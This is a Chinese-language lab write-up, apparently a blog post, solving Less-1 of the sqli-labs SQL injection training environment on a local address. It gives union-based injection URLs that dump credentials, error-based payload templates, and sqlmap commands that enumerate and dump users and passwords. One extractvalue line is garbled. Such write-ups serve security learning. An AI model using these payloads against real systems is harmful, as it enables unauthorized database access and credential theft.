Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
一.字符型注入
首先测试一下 ’ 发现报错 然后 ''发现 不报错应该是字符注入
测试 正常显示
http://192.168.1.21/sqli-labs-master/Less-1/?id=1' and 1=1 --+
测试错误显示
http://192.168.1.21/sqli-labs-master/Less-1/?id=1’ and 1=2 --+
列查询order by,发现是3。
http://192.168.1.21/sqli-labs-master/Less-1/?id=1‘ order by 4 --+
http://192.168.1.21/sqli-labs-master/Less-1/?id=1' order by 3 --+
爆数据库名
http://192.168.1.21/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+
http://192.168.1.21/sqli-labs-master/Less-1/?id=-1' union select null,database(),null --+
(严谨一点,用null,方便伙伴们理解这里的参数)
注意一定要让id出错不存在,否则不会正常显示(我的理解,呵呵 )
爆表名
http://192.168.1.21/sqli-labs-master/Less-1/?id=-1' union select null,group_concat(table_name),null from information_schema.tables where table_schema='security' --+
看到users,正常逻辑应该是用户名和密码之类的,爆列名
http://192.168.1.21/sqli-labs-master/Less-1/?id=-1' union select null,group_concat(column_name),null from information_schema.columns where table_name='users' --+
看到username,password,爆字段名
http://192.168.1.21/sqli-labs-master/Less-1/?id=-1' union select null, group_concat(username,0x7e,password),null from security.users --+
(0x7e是16进制的,用以间隔usernamepassword,当然还可以用别的)
## 二.基于报错的注入
1、通过floor报错
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
注:输出字符长度限制为64个字符
2、通过updatexml报错
and updatexml(1,payload,1)
and updatexml(1,concat(0x7e,@@version,0x7e),1)注:输出字符有长度限制,最长32位
3、通过ExtractValue报错
and extractvalue(1, payload)
and extractv注:输出字符有长度限制,最长32位alue(1, concat(0x7e,@@version,0x7e))
第1题就不用这个方法了,后面还有64题,有不少要用到基于报错的注入
# 三.sqlmap自动注入
测试注入点
sqlmap -u ‘http://192.168.1.21/sqli-labs-master/Less-1/?id=1’
暴库
sqlmap -u ‘http://192.168.1.21/sqli-labs-master/Less-1/?id=1’ --dbs
当前数据库
sqlmap -u ‘http://192.168.1.21/sqli-labs-master/Less-1/?id=1’ --current-db
当前数据库使用账户
sqlmap -u ‘http://192.168.1.21/sqli-labs-master/Less-1/?id=1’ --current-user
列出sqlserver所有用户
sqlmap -u ‘http://192.168.1.21/sqli-labs-master/Less-1/?id=1’ --users
数据库账户与密码
sqlmap -u ‘http://192.168.1.21/sqli-labs-master/Less-1/?id=1’ --passwords
hash值我就不转了哈,偷下懒,图太多了!
列出数据库中的表
sqlmap -u ‘http://192.168.1.21/sqli-labs-master/Less-1/?id=1’ -D security --tables
列出表中字段
sqlmap -u ‘http://192.168.1.21/sqli-labs-master/Less-1/?id=1’ -D security -T users --columns
暴字段内容
sqlmap -u ‘http://192.168.1.21/sqli-labs-master/Less-1/?id=1’ -D security -T users -C “id,username,password” --start 1 --stop 20 --dump
今天先到这里吧,第一次发博,借用一位大神的话:“少就是多,慢就是快”,加油!!!